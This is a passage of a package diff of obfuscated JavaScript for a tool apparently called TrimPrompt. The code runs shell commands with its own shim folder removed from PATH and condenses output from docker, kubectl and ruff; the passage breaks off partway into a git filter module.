_0x2fbb4=a0_0x415a;return _0x1b13ae=Object[_0x2fbb4(0x7b)]||function(_0x5cb3f0){var _0x2e8c53=_0x2fbb4,_0x2ef496=[];for(var _0x5d01fd in _0x5cb3f0)if(Object[_0x2e8c53(0x74)]['hasOwnProperty']['call'](_0x5cb3f0,_0x5d01fd))_0x2ef496[_0x2ef496[_0x2e8c53(0x87)]]=_0x5d01fd;return _0x2ef496;},_0x1b13ae(_0x1e0e2d);};return function(_0x2a4496){var _0x369b3c=a0_0x415a;if(_0x2a4496&&_0x2a4496['__esModule'])return _0x2a4496;var _0x50f441={};if(_0x2a4496!=null){for(var _0x26ee83=_0x1b13ae(_0x2a4496),_0x37ce8a=0x0;_0x37ce8a<_0x26ee83[_0x369b3c(0x87)];_0x37ce8a++)if(_0x26ee83[_0x37ce8a]!=='default')__createBinding(_0x50f441,_0x2a4496,_0x26ee83[_0x37ce8a]);}return __setModuleDefault(_0x50f441,_0x2a4496),_0x50f441;};}());Object[a0_0x3c9f39(0x8c)](exports,a0_0x3c9f39(0x96),{'value':!![]}),exports[a0_0x3c9f39(0x75)]=executeCommand;function a0_0x415a(_0x1a873e,_0xdb6ebd){_0x1a873e=_0x1a873e-0x70;var _0x40ff1c=a0_0x40ff();var _0x415a66=_0x40ff1c[_0x1a873e];return _0x415a66;}const child_process_1=require(a0_0x3c9f39(0x83)),path=__importStar(require('path')),os=__importStar(require('os'));function executeCommand(_0x25c350,_0x11cc36){return new Promise(_0x3638b7=>{var _0x36b763=a0_0x415a;const _0xdba6b0=path[_0x36b763(0x71)](os[_0x36b763(0x84)](),'.trimprompt',_0x36b763(0x92)),_0xa076bf=(process.env.PATH||'')['split'](path[_0x36b763(0x89)])[_0x36b763(0x94)](_0xd53745=>_0xd53745[_0x36b763(0x8e)]()[_0x36b763(0x99)]()!==_0xdba6b0[_0x36b763(0x99)]())[_0x36b763(0x71)](path[_0x36b763(0x89)]),_0x181394={...process.env,'PATH':_0xa076bf,'TRIMPROMPT_DISABLED':'1'},_0x271d2a=(0x0,child_process_1[_0x36b763(0x98)])(_0x25c350,_0x11cc36,{'stdio':[_0x36b763(0x70),_0x36b763(0x82),_0x36b763(0x82)],'shell':!![],'env':_0x181394});let _0x462923='',_0x35ad48='';_0x271d2a[_0x36b763(0x80)]?.['on'](_0x36b763(0x9b),_0x29fc8a=>{_0x462923+=_0x29fc8a['toString']();}),_0x271d2a[_0x36b763(0x9c)]?.['on']('data',_0x3e3670=>{var _0x17dcab=_0x36b763;_0x35ad48+=_0x3e3670[_0x17dcab(0x7a)]();}),_0x271d2a['on'](_0x36b763(0x97),_0x30cb07=>{var _0x323e57=_0x36b763;_0x3638b7({'exitCode':0x1,'stdout':'','stderr':_0x323e57(0x8f)+_0x25c350+'\x22:\x20'+_0x30cb07[_0x323e57(0x8a)]});}),_0x271d2a['on']('close',_0x119edf=>{_0x3638b7({'exitCode':_0x119edf??0x0,'stdout':_0x462923,'stderr':_0x35ad48});});});}
1
+ 'use strict';function a0_0x37fc(){var _0x57e0d3=['shims','delimiter','getOwnPropertyDescriptor','__importStar','defineProperty','default','__createBinding','hasOwnProperty','data','spawn','8ICnIrG','executeCommand','4845953koSFAG','3005340cZTTfc','homedir','env','toLowerCase','4938462XuPKct','inherit','error','filter','create','trim','__esModule','getOwnPropertyNames','6633LvuRBK','length','4259472HZEKbg','configurable','185vtwfMO','path','child_process','prototype','call','44026760hEQRRX','PATH','message','pipe','stdout','close','stderr','\x22:\x20','split','Failed\x20to\x20spawn\x20command\x20\x22','31002ebHADK','140QGshal','__setModuleDefault'];a0_0x37fc=function(){return _0x57e0d3;};return a0_0x37fc();}function a0_0x5667(_0x57156d,_0x48780c){var _0x37fc91=a0_0x37fc();return a0_0x5667=function(_0x566725,_0x2e25e5){_0x566725=_0x566725-0x8c;var _0x436dd4=_0x37fc91[_0x566725];return _0x436dd4;},a0_0x5667(_0x57156d,_0x48780c);}var a0_0x1f231f=a0_0x5667;(function(_0x5f3cb3,_0x13ea5f){var _0x1718a5=a0_0x5667,_0x5634df=_0x5f3cb3();while(!![]){try{var _0x522117=-parseInt(_0x1718a5(0xb2))/0x1*(parseInt(_0x1718a5(0x97))/0x2)+-parseInt(_0x1718a5(0xb4))/0x3+-parseInt(_0x1718a5(0xa6))/0x4+-parseInt(_0x1718a5(0xb6))/0x5*(-parseInt(_0x1718a5(0x96))/0x6)+-parseInt(_0x1718a5(0xa5))/0x7+parseInt(_0x1718a5(0xa3))/0x8*(-parseInt(_0x1718a5(0xaa))/0x9)+parseInt(_0x1718a5(0x8c))/0xa;if(_0x522117===_0x13ea5f)break;else _0x5634df['push'](_0x5634df['shift']());}catch(_0x131f9b){_0x5634df['push'](_0x5634df['shift']());}}}(a0_0x37fc,0xaf24d));var __createBinding=this&&this[a0_0x1f231f(0x9f)]||(Object[a0_0x1f231f(0xae)]?function(_0x178bc4,_0x27e445,_0x20f685,_0x2e461c){var _0x55a500=a0_0x1f231f;if(_0x2e461c===undefined)_0x2e461c=_0x20f685;var _0x38fb37=Object[_0x55a500(0x9b)](_0x27e445,_0x20f685);(!_0x38fb37||('get'in _0x38fb37?!_0x27e445['__esModule']:_0x38fb37['writable']||_0x38fb37[_0x55a500(0xb5)]))&&(_0x38fb37={'enumerable':!![],'get':function(){return _0x27e445[_0x20f685];}}),Object['defineProperty'](_0x178bc4,_0x2e461c,_0x38fb37);}:function(_0x182aa9,_0x547f6b,_0x51098d,_0x223662){if(_0x223662===undefined)_0x223662=_0x51098d;_0x182aa9[_0x223662]=_0x547f6b[_0x51098d];}),__setModuleDefault=this&&this[a0_0x1f231f(0x98)]||(Object[a0_0x1f231f(0xae)]?function(_0x22d0ba,_0x40937b){var _0x359f99=a0_0x1f231f;Object[_0x359f99(0x9d)](_0x22d0ba,_0x359f99(0x9e),{'enumerable':!![],'value':_0x40937b});}:function(_0x3fe3b1,_0x150934){_0x3fe3b1['default']=_0x150934;}),__importStar=this&&this[a0_0x1f231f(0x9c)]||(function(){var _0x155ec3=function(_0x46db57){var _0xc5bd13=a0_0x5667;return _0x155ec3=Object[_0xc5bd13(0xb1)]||function(_0x1ee151){var _0x24db23=_0xc5bd13,_0x3d55e6=[];for(var _0x43e2f3 in _0x1ee151)if(Object[_0x24db23(0xb9)][_0x24db23(0xa0)][_0x24db23(0xba)](_0x1ee151,_0x43e2f3))_0x3d55e6[_0x3d55e6[_0x24db23(0xb3)]]=_0x43e2f3;return _0x3d55e6;},_0x155ec3(_0x46db57);};return function(_0x2e588e){var _0x18e24b=a0_0x5667;if(_0x2e588e&&_0x2e588e[_0x18e24b(0xb0)])return _0x2e588e;var _0x598a85={};if(_0x2e588e!=null){for(var _0x63cebd=_0x155ec3(_0x2e588e),_0x4ad7e5=0x0;_0x4ad7e5<_0x63cebd[_0x18e24b(0xb3)];_0x4ad7e5++)if(_0x63cebd[_0x4ad7e5]!==_0x18e24b(0x9e))__createBinding(_0x598a85,_0x2e588e,_0x63cebd[_0x4ad7e5]);}return __setModuleDefault(_0x598a85,_0x2e588e),_0x598a85;};}());Object[a0_0x1f231f(0x9d)](exports,a0_0x1f231f(0xb0),{'value':!![]}),exports[a0_0x1f231f(0xa4)]=executeCommand;const child_process_1=require(a0_0x1f231f(0xb8)),path=__importStar(require(a0_0x1f231f(0xb7))),os=__importStar(require('os'));function executeCommand(_0x41e57b,_0x864183){return new Promise(_0x2f3a09=>{var _0x53a821=a0_0x5667;const _0xa2cc2b=path['join'](os[_0x53a821(0xa7)](),'.trimprompt',_0x53a821(0x99)),_0x1e9eeb=(process[_0x53a821(0xa8)][_0x53a821(0x8d)]||'')[_0x53a821(0x94)](path[_0x53a821(0x9a)])[_0x53a821(0xad)](_0x32cc88=>_0x32cc88[_0x53a821(0xaf)]()['toLowerCase']()!==_0xa2cc2b[_0x53a821(0xa9)]())['join'](path[_0x53a821(0x9a)]),_0x447d98={...process['env'],'PATH':_0x1e9eeb,'TRIMPROMPT_DISABLED':'1'},_0x4ba4e5=(0x0,child_process_1[_0x53a821(0xa2)])(_0x41e57b,_0x864183,{'stdio':[_0x53a821(0xab),_0x53a821(0x8f),'pipe'],'shell':!![],'env':_0x447d98});let _0x33fabc='',_0x12739d='';_0x4ba4e5[_0x53a821(0x90)]?.['on'](_0x53a821(0xa1),_0x1eed32=>{_0x33fabc+=_0x1eed32['toString']();}),_0x4ba4e5[_0x53a821(0x92)]?.['on'](_0x53a821(0xa1),_0x484a4e=>{_0x12739d+=_0x484a4e['toString']();}),_0x4ba4e5['on'](_0x53a821(0xac),_0x313c0f=>{var _0x4cc22f=_0x53a821;_0x2f3a09({'exitCode':0x1,'stdout':'','stderr':_0x4cc22f(0x95)+_0x41e57b+_0x4cc22f(0x93)+_0x313c0f[_0x4cc22f(0x8e)]});}),_0x4ba4e5['on'](_0x53a821(0x91),_0x677943=>{_0x2f3a09({'exitCode':_0x677943??0x0,'stdout':_0x33fabc,'stderr':_0x12739d});});});}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x2600ca=a0_0x28cb;(function(_0x227387,_0x5921fe){const _0x23b6f7=a0_0x28cb,_0x1b3ca5=_0x227387();while(!![]){try{const _0x1ba6f2=parseInt(_0x23b6f7(0x1d2))/0x1*(-parseInt(_0x23b6f7(0x1cc))/0x2)+-parseInt(_0x23b6f7(0x1d6))/0x3+parseInt(_0x23b6f7(0x1e1))/0x4*(parseInt(_0x23b6f7(0x1d3))/0x5)+parseInt(_0x23b6f7(0x1b9))/0x6+parseInt(_0x23b6f7(0x1b6))/0x7*(-parseInt(_0x23b6f7(0x1d1))/0x8)+-parseInt(_0x23b6f7(0x1bc))/0x9*(parseInt(_0x23b6f7(0x1df))/0xa)+parseInt(_0x23b6f7(0x1c8))/0xb;if(_0x1ba6f2===_0x5921fe)break;else _0x1b3ca5['push'](_0x1b3ca5['shift']());}catch(_0x2747de){_0x1b3ca5['push'](_0x1b3ca5['shift']());}}}(a0_0x52c8,0x45bb4));Object[a0_0x2600ca(0x1bb)](exports,a0_0x2600ca(0x1b1),{'value':!![]}),exports['filterDockerPs']=filterDockerPs,exports[a0_0x2600ca(0x1b2)]=filterDockerImages,exports[a0_0x2600ca(0x1c1)]=filterDockerLogs,exports[a0_0x2600ca(0x1bf)]=filterKubectl,exports[a0_0x2600ca(0x1c9)]=filterRuff;function a0_0x52c8(){const _0x102ac2=['defineProperty','225nEMPLP','\x20\x20...\x20(','Ruff:\x20no\x20issues\x20found','filterKubectl','\x0a...\x20+','filterDockerLogs','No\x20containers\x20running','\x20total','slice','filter','\x20more\x20lines','trim','16380463IqCAVw','filterRuff','No\x20resources\x20found','Ruff:\x20all\x20checks\x20passed','102388AqfIpX','\x20files','\x20log\x20lines\x20total)','\x20more\x20events','\x20lines\x20truncated]\x20...\x0a','32NMdboG','11fBOOMJ','2663345oECzYR','split','push','1127331RJnHWA','\x0a...\x20[','\x20more\x20resources','Containers:\x20','match','Ruff:\x20','\x20more','length','includes','227670gBKkLT','\x20more\x20images','4kHNDHV','logs','keys','__esModule','filterDockerImages','All\x20checks\x20passed','Found\x200\x20error','No\x20images\x20found','727069smNePQ','\x20\x20...\x20+','join','1124232TLiiKS','\x20issues\x20in\x20'];a0_0x52c8=function(){return _0x102ac2;};return a0_0x52c8();}function a0_0x28cb(_0x4ed33f,_0x114710){const _0x52c800=a0_0x52c8();return a0_0x28cb=function(_0x28cb02,_0xa27cdc){_0x28cb02=_0x28cb02-0x1b0;let _0x3069bb=_0x52c800[_0x28cb02];return _0x3069bb;},a0_0x28cb(_0x4ed33f,_0x114710);}function filterDockerPs(_0x9c6241){const _0xd68526=a0_0x2600ca,_0x5984a8=_0x9c6241[_0xd68526(0x1d4)]('\x0a')['filter'](_0x476613=>_0x476613[_0xd68526(0x1c7)]()[_0xd68526(0x1dd)]>0x0);if(_0x5984a8[_0xd68526(0x1dd)]===0x0)return _0xd68526(0x1c2);if(_0x5984a8[_0xd68526(0x1dd)]<=0xa)return _0x9c6241['trim']();const _0x3f45c1=_0x5984a8[0x0],_0x583b68=_0x5984a8[_0xd68526(0x1c4)](0x1),_0x464b0d=[];_0x464b0d[_0xd68526(0x1d5)](_0xd68526(0x1d9)+_0x583b68[_0xd68526(0x1dd)]+_0xd68526(0x1c3)),_0x464b0d['push']('');for(const _0x2231b1 of _0x583b68){const _0x397abc=_0x2231b1[_0xd68526(0x1d4)](/\s{2,}/);if(_0x397abc['length']>=0x5){const _0xa335f1=_0x397abc[0x0]['substring'](0x0,0xc),_0x5eae4b=_0x397abc[0x1],_0x7a247d=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x2]||'',_0x36aca5=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x1]||'';_0x464b0d['push']('\x20\x20'+_0xa335f1+'\x20\x20'+_0x5eae4b+'\x20\x20'+_0x7a247d+'\x20\x20'+_0x36aca5);}else _0x464b0d[_0xd68526(0x1d5)]('\x20\x20'+_0x2231b1[_0xd68526(0x1c7)]());}return _0x464b0d['join']('\x0a');}function filterDockerImages(_0x243d25){const _0xbae91c=a0_0x2600ca,_0x9c0625=_0x243d25[_0xbae91c(0x1d4)]('\x0a')[_0xbae91c(0x1c5)](_0x4fde02=>_0x4fde02[_0xbae91c(0x1c7)]()[_0xbae91c(0x1dd)]>0x0);if(_0x9c0625['length']<=0x1)return _0xbae91c(0x1b5);if(_0x9c0625['length']<=0xf)return _0x243d25[_0xbae91c(0x1c7)]();const _0x49341d=_0x9c0625[_0xbae91c(0x1c4)](0x1),_0x5f274b=['Docker\x20images:\x20'+_0x49341d['length']+'\x20total'];_0x5f274b[_0xbae91c(0x1d5)]('');const _0x57913d=_0x49341d[_0xbae91c(0x1c4)](0x0,0x14);for(const _0x591566 of _0x57913d){const _0x5852e2=_0x591566['split'](/\s{2,}/);if(_0x5852e2[_0xbae91c(0x1dd)]>=0x3){const _0x814488=_0x5852e2[0x0],_0x5e7af9=_0x5852e2[0x1],_0x2001de=_0x5852e2[_0x5852e2[_0xbae91c(0x1dd)]-0x1]||'';_0x5f274b['push']('\x20\x20'+_0x814488+':'+_0x5e7af9+'\x20\x20'+_0x2001de);}else _0x5f274b[_0xbae91c(0x1d5)]('\x20\x20'+_0x591566['trim']());}return _0x49341d['length']>0x14&&_0x5f274b['push'](_0xbae91c(0x1b7)+(_0x49341d[_0xbae91c(0x1dd)]-0x14)+_0xbae91c(0x1e0)),_0x5f274b[_0xbae91c(0x1b8)]('\x0a');}function filterDockerLogs(_0x3422e6){const _0x19e1ca=a0_0x2600ca,_0x57953f=_0x3422e6[_0x19e1ca(0x1d4)]('\x0a');if(_0x57953f[_0x19e1ca(0x1dd)]<=0x32)return _0x3422e6;const _0x3cef35=[];return _0x3cef35[_0x19e1ca(0x1d5)](..._0x57953f[_0x19e1ca(0x1c4)](0x0,0x14)),_0x3cef35['push'](_0x19e1ca(0x1d7)+(_0x57953f[_0x19e1ca(0x1dd)]-0x28)+_0x19e1ca(0x1d0)),_0x3cef35['push'](..._0x57953f[_0x19e1ca(0x1c4)](-0x14)),_0x3cef35[_0x19e1ca(0x1d5)]('\x0a('+_0x57953f[_0x19e1ca(0x1dd)]+_0x19e1ca(0x1ce)),_0x3cef35[_0x19e1ca(0x1b8)]('\x0a');}function filterKubectl(_0xf26f6a,_0x57ee11){const _0x33b0ed=a0_0x2600ca,_0x4ad606=_0xf26f6a[_0x33b0ed(0x1d4)]('\x0a')['filter'](_0x350316=>_0x350316[_0x33b0ed(0x1c7)]()[_0x33b0ed(0x1dd)]>0x0);if(_0x4ad606[_0x33b0ed(0x1dd)]===0x0)return _0x33b0ed(0x1ca);if(_0x4ad606['length']<=0x14)return _0xf26f6a[_0x33b0ed(0x1c7)]();if(_0x57ee11==='get'){const _0x53416a=_0x4ad606[0x0],_0x41007f=_0x4ad606['slice'](0x1),_0x256b88=[_0x41007f[_0x33b0ed(0x1dd)]+'\x20resources\x20found','',_0x53416a];return _0x41007f[_0x33b0ed(0x1dd)]<=0x1e?_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f):(_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f['slice'](0x0,0x19)),_0x256b88[_0x33b0ed(0x1d5)]('...\x20+'+(_0x41007f[_0x33b0ed(0x1dd)]-0x19)+_0x33b0ed(0x1d8))),_0x256b88[_0x33b0ed(0x1b8)]('\x0a');}if(_0x57ee11==='describe'){const _0x2083a5=[];let _0x474fcc=![],_0x6e630c=0x0;for(const _0x56a097 of _0x4ad606){if(_0x56a097['startsWith']('Events:')){_0x474fcc=!![],_0x2083a5['push'](_0x56a097);continue;}if(_0x474fcc){_0x6e630c++;if(_0x6e630c<=0x5)_0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}else _0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}return _0x6e630c>0x5&&_0x2083a5['push'](_0x33b0ed(0x1b7)+(_0x6e630c-0x5)+_0x33b0ed(0x1cf)),_0x2083a5['join']('\x0a');}if(_0x57ee11===_0x33b0ed(0x1e2))return filterDockerLogs(_0xf26f6a);const _0xe824a1=_0x4ad606[_0x33b0ed(0x1c4)](0x0,0x1e);return _0x4ad606[_0x33b0ed(0x1dd)]>0x1e&&_0xe824a1[_0x33b0ed(0x1d5)]('...\x20+'+(_0x4ad606[_0x33b0ed(0x1dd)]-0x1e)+_0x33b0ed(0x1c6)),_0xe824a1['join']('\x0a');}function filterRuff(_0x46fc7a){const _0x9f4a5a=a0_0x2600ca,_0x3f24f5=_0x46fc7a[_0x9f4a5a(0x1d4)]('\x0a')[_0x9f4a5a(0x1c5)](_0x1fc19c=>_0x1fc19c[_0x9f4a5a(0x1c7)]()[_0x9f4a5a(0x1dd)]>0x0);if(_0x3f24f5[_0x9f4a5a(0x1dd)]===0x0)return _0x9f4a5a(0x1be);if(_0x46fc7a[_0x9f4a5a(0x1de)](_0x9f4a5a(0x1b3))||_0x46fc7a['includes'](_0x9f4a5a(0x1b4)))return _0x9f4a5a(0x1cb);const _0x52516b=_0x46fc7a[_0x9f4a5a(0x1da)](/Found (\d+) error/),_0x3c105b=_0x52516b?parseInt(_0x52516b[0x1]):_0x3f24f5['length'],_0x56b9b9={},_0x4299ca=[];for(const _0x325327 of _0x3f24f5){const _0x596a1b=_0x325327[_0x9f4a5a(0x1da)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x596a1b){const _0x29262d=_0x596a1b[0x1],_0x11bd6e=_0x29262d[_0x9f4a5a(0x1d4)](':')[0x0];if(!_0x56b9b9[_0x11bd6e])_0x56b9b9[_0x11bd6e]=[];_0x56b9b9[_0x11bd6e][_0x9f4a5a(0x1d5)](_0x325327);}else _0x4299ca['push'](_0x325327);}const _0x4a1f1c=Object[_0x9f4a5a(0x1b0)](_0x56b9b9);if(_0x4a1f1c[_0x9f4a5a(0x1dd)]===0x0){if(_0x3f24f5['length']<=0x14)return _0x46fc7a[_0x9f4a5a(0x1c7)]();return _0x3f24f5[_0x9f4a5a(0x1c4)](0x0,0xf)[_0x9f4a5a(0x1b8)]('\x0a')+(_0x9f4a5a(0x1c0)+(_0x3f24f5[_0x9f4a5a(0x1dd)]-0xf)+_0x9f4a5a(0x1dc));}const _0x53e72d=[_0x9f4a5a(0x1db)+_0x3c105b+_0x9f4a5a(0x1ba)+_0x4a1f1c['length']+_0x9f4a5a(0x1cd)];_0x53e72d['push']('');const _0x9d94d2=0xa;for(const _0x3154a9 of _0x4a1f1c['slice'](0x0,_0x9d94d2)){const _0x39aaef=_0x56b9b9[_0x3154a9];if(_0x39aaef[_0x9f4a5a(0x1dd)]<=0x3){for(const _0x3a7b1d of _0x39aaef)_0x53e72d[_0x9f4a5a(0x1d5)]('\x20\x20'+_0x3a7b1d);}else _0x53e72d['push']('\x20\x20'+_0x39aaef[0x0]),_0x53e72d['push'](_0x9f4a5a(0x1bd)+_0x39aaef['length']+_0x9f4a5a(0x1ba)+_0x3154a9+')');}return _0x4a1f1c[_0x9f4a5a(0x1dd)]>_0x9d94d2&&_0x53e72d[_0x9f4a5a(0x1d5)](_0x9f4a5a(0x1b7)+(_0x4a1f1c[_0x9f4a5a(0x1dd)]-_0x9d94d2)+'\x20more\x20files'),_0x53e72d[_0x9f4a5a(0x1b8)]('\x0a');}
@@ -1 +1 @@
1
- 'use strict';const a0_0x5e4f17=a0_0x6095;(function(_0x17915b,_0x38103){const _0x7ba819=a0_0x6095,_0x273dcd=_0x17915b();while(!![]){try{const _0x18defc=-parseInt(_0x7ba819(0x9c))/0x1+parseInt(_0x7ba819(0x92))/0x2*(-parseInt(_0x7ba819(0xa0))/0x3)+-parseInt(_0x7ba819(0x99))/0x4*(parseInt(_0x7ba819(0x95))/0x5)+parseInt(_0x7ba819(0x94))/0x6+-parseInt(_0x7ba819(0x8f))/0x7*(parseInt(_0x7ba819(0x91))/0x8)+parseInt(_0x7ba819(0xa4))/0x9*(parseInt(_0x7ba819(0x90))/0xa)+-parseInt(_0x7ba819(0x9f))/0xb;if(_0x18defc===_0x38103)break;else _0x273dcd['push'](_0x273dcd['shift']());}catch(_0x57173c){_0x273dcd['push'](_0x273dcd['shift']());}}}(a0_0x3384,0x4ffee));Object[a0_0x5e4f17(0x9a)](exports,a0_0x5e4f17(0x9b),{'value':!![]}),exports['stripAnsi']=stripAnsi,exports[a0_0x5e4f17(0x9d)]=collapseDuplicates,exports[a0_0x5e4f17(0x97)]=softTruncate;function stripAnsi(_0x3b27bf){const _0x45d724=a0_0x5e4f17,_0x307992=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x3b27bf[_0x45d724(0x93)](_0x307992,'');}function a0_0x6095(_0x39a728,_0x4f586f){_0x39a728=_0x39a728-0x8d;const _0x338406=a0_0x3384();let _0x609514=_0x338406[_0x39a728];return _0x609514;}function collapseDuplicates(_0x59dc82){const _0x423914=a0_0x5e4f17,_0x5b4123=_0x59dc82[_0x423914(0xa1)]('\x0a');if(_0x5b4123[_0x423914(0x96)]<=0x1)return _0x59dc82;const _0x4783f2=[];let _0x54eaa4=_0x5b4123[0x0],_0x438d04=0x1;for(let _0x4093dd=0x1;_0x4093dd<_0x5b4123[_0x423914(0x96)];_0x4093dd++){const _0x31a4e1=_0x5b4123[_0x4093dd];_0x31a4e1===_0x54eaa4&&_0x31a4e1[_0x423914(0x8d)]()[_0x423914(0x96)]>0x0?_0x438d04++:(_0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+'\x20[x'+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x54eaa4=_0x31a4e1,_0x438d04=0x1);}return _0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+_0x423914(0x9e)+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x4783f2[_0x423914(0x8e)]('\x0a');}function softTruncate(_0x520b90,_0x5cf7db=0x4e20){const _0x3d2cf4=a0_0x5e4f17;if(_0x520b90[_0x3d2cf4(0x96)]<=_0x5cf7db)return _0x520b90;const _0x30b2d3=_0x520b90[_0x3d2cf4(0xa1)]('\x0a');if(_0x30b2d3[_0x3d2cf4(0x96)]<=0xc8)return _0x520b90;const _0x4de559=0x32,_0x418176=0x96,_0xb6768=_0x30b2d3[_0x3d2cf4(0xa2)](0x0,_0x4de559),_0x2d407d=_0x30b2d3[_0x3d2cf4(0xa2)](_0x30b2d3[_0x3d2cf4(0x96)]-_0x418176),_0x4dede9=_0x520b90[_0x3d2cf4(0x96)]-(_0xb6768[_0x3d2cf4(0x8e)]('\x0a')['length']+_0x2d407d[_0x3d2cf4(0x8e)]('\x0a')[_0x3d2cf4(0x96)]);return[..._0xb6768,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x4dede9+_0x3d2cf4(0x98),..._0x2d407d][_0x3d2cf4(0x8e)]('\x0a');}function a0_0x3384(){const _0x71f406=['5608196zQeTkY','7281QsmteE','split','slice','push','18TdSuAL','trim','join','12299mJtjOi','3202370fwDZSl','576BJMzMd','58ewJVWE','replace','2645502tjJIxw','7335BqPdvM','length','softTruncate','\x20characters\x20of\x20output]\x20...\x0a','24oxevPe','defineProperty','__esModule','38204KKGbCz','collapseDuplicates','\x20[x'];a0_0x3384=function(){return _0x71f406;};return a0_0x3384();}
1
+ 'use strict';const a0_0x175bae=a0_0x303f;(function(_0x2524d0,_0x4eb1d6){const _0x29f568=a0_0x303f,_0x348b71=_0x2524d0();while(!![]){try{const _0x3281f9=parseInt(_0x29f568(0x15f))/0x1*(parseInt(_0x29f568(0x16a))/0x2)+parseInt(_0x29f568(0x163))/0x3*(parseInt(_0x29f568(0x169))/0x4)+parseInt(_0x29f568(0x15a))/0x5+-parseInt(_0x29f568(0x15c))/0x6*(parseInt(_0x29f568(0x161))/0x7)+-parseInt(_0x29f568(0x156))/0x8+parseInt(_0x29f568(0x162))/0x9*(-parseInt(_0x29f568(0x159))/0xa)+parseInt(_0x29f568(0x16b))/0xb*(parseInt(_0x29f568(0x165))/0xc);if(_0x3281f9===_0x4eb1d6)break;else _0x348b71['push'](_0x348b71['shift']());}catch(_0x57a3df){_0x348b71['push'](_0x348b71['shift']());}}}(a0_0x1f87,0xa5776));function a0_0x1f87(){const _0x65d5=['defineProperty','stripAnsi','9081880bXwlQO','6766505fKTqPo','split','5676714bIHSkt','push','slice','1DhulyH','__esModule','7EvlrQO','9BvPKch','6447GlKVlv','softTruncate','8132832WTSVSN','length','\x20[x','collapseDuplicates','1592xMdwWr','468568RfWYMp','22QKlWcR','trim','join','10130416qGZOUh'];a0_0x1f87=function(){return _0x65d5;};return a0_0x1f87();}Object[a0_0x175bae(0x157)](exports,a0_0x175bae(0x160),{'value':!![]}),exports[a0_0x175bae(0x158)]=stripAnsi,exports[a0_0x175bae(0x168)]=collapseDuplicates,exports[a0_0x175bae(0x164)]=softTruncate;function stripAnsi(_0x48201c){const _0x3e1d22=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x48201c['replace'](_0x3e1d22,'');}function a0_0x303f(_0x418092,_0x34d094){const _0x1f8786=a0_0x1f87();return a0_0x303f=function(_0x303f26,_0x465917){_0x303f26=_0x303f26-0x155;let _0x463c8e=_0x1f8786[_0x303f26];return _0x463c8e;},a0_0x303f(_0x418092,_0x34d094);}function collapseDuplicates(_0xfbdc18){const _0x15b258=a0_0x175bae,_0xa9b3af=_0xfbdc18[_0x15b258(0x15b)]('\x0a');if(_0xa9b3af[_0x15b258(0x166)]<=0x1)return _0xfbdc18;const _0x38332b=[];let _0x5c51e2=_0xa9b3af[0x0],_0x3e2465=0x1;for(let _0x5da2a8=0x1;_0x5da2a8<_0xa9b3af['length'];_0x5da2a8++){const _0x3c8c8b=_0xa9b3af[_0x5da2a8];_0x3c8c8b===_0x5c51e2&&_0x3c8c8b[_0x15b258(0x16c)]()[_0x15b258(0x166)]>0x0?_0x3e2465++:(_0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+'\x20[x'+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x5c51e2=_0x3c8c8b,_0x3e2465=0x1);}return _0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+_0x15b258(0x167)+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x38332b[_0x15b258(0x155)]('\x0a');}function softTruncate(_0x42a786,_0x372254=0x4e20){const _0x2f3f50=a0_0x175bae;if(_0x42a786['length']<=_0x372254)return _0x42a786;const _0x41c2fd=_0x42a786['split']('\x0a');if(_0x41c2fd[_0x2f3f50(0x166)]<=0xc8)return _0x42a786;const _0x30288a=0x32,_0xf48a56=0x96,_0x51125c=_0x41c2fd[_0x2f3f50(0x15e)](0x0,_0x30288a),_0x56a92f=_0x41c2fd[_0x2f3f50(0x15e)](_0x41c2fd[_0x2f3f50(0x166)]-_0xf48a56),_0x360986=_0x42a786[_0x2f3f50(0x166)]-(_0x51125c[_0x2f3f50(0x155)]('\x0a')['length']+_0x56a92f[_0x2f3f50(0x155)]('\x0a')[_0x2f3f50(0x166)]);return[..._0x51125c,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x360986+'\x20characters\x20of\x20output]\x20...\x0a',..._0x56a92f][_0x2f3f50(0x155)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x51e3d2=a0_0x5d02;(function(_0x3c4214,_0x138979){const _0x567835=a0_0x5d02,_0x5c7b95=_0x3c4214();while(!![]){try{const _0x4db153=parseInt(_0x567835(0x15c))/0x1*(parseInt(_0x567835(0x16f))/0x2)+parseInt(_0x567835(0x166))/0x3*(-parseInt(_0x567835(0x170))/0x4)+-parseInt(_0x567835(0x16c))/0x5+-parseInt(_0x567835(0x17f))/0x6+-parseInt(_0x567835(0x17d))/0x7+parseInt(_0x567835(0x187))/0x8+parseInt(_0x567835(0x184))/0x9;if(_0x4db153===_0x138979)break;else _0x5c7b95['push'](_0x5c7b95['shift']());}catch(_0xe2933c){_0x5c7b95['push'](_0x5c7b95['shift']());}}}(a0_0x1ddb,0xe6ffe));function a0_0x5d02(_0x4fad61,_0x35ac88){_0x4fad61=_0x4fad61-0x15b;const _0x1ddb33=a0_0x1ddb();let _0x5d0257=_0x1ddb33[_0x4fad61];return _0x5d0257;}var __createBinding=this&&this[a0_0x51e3d2(0x178)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x3579c8,_0x55c342,_0x2c4301,_0xe2f10){const _0x33d634=a0_0x51e3d2;if(_0xe2f10===undefined)_0xe2f10=_0x2c4301;var 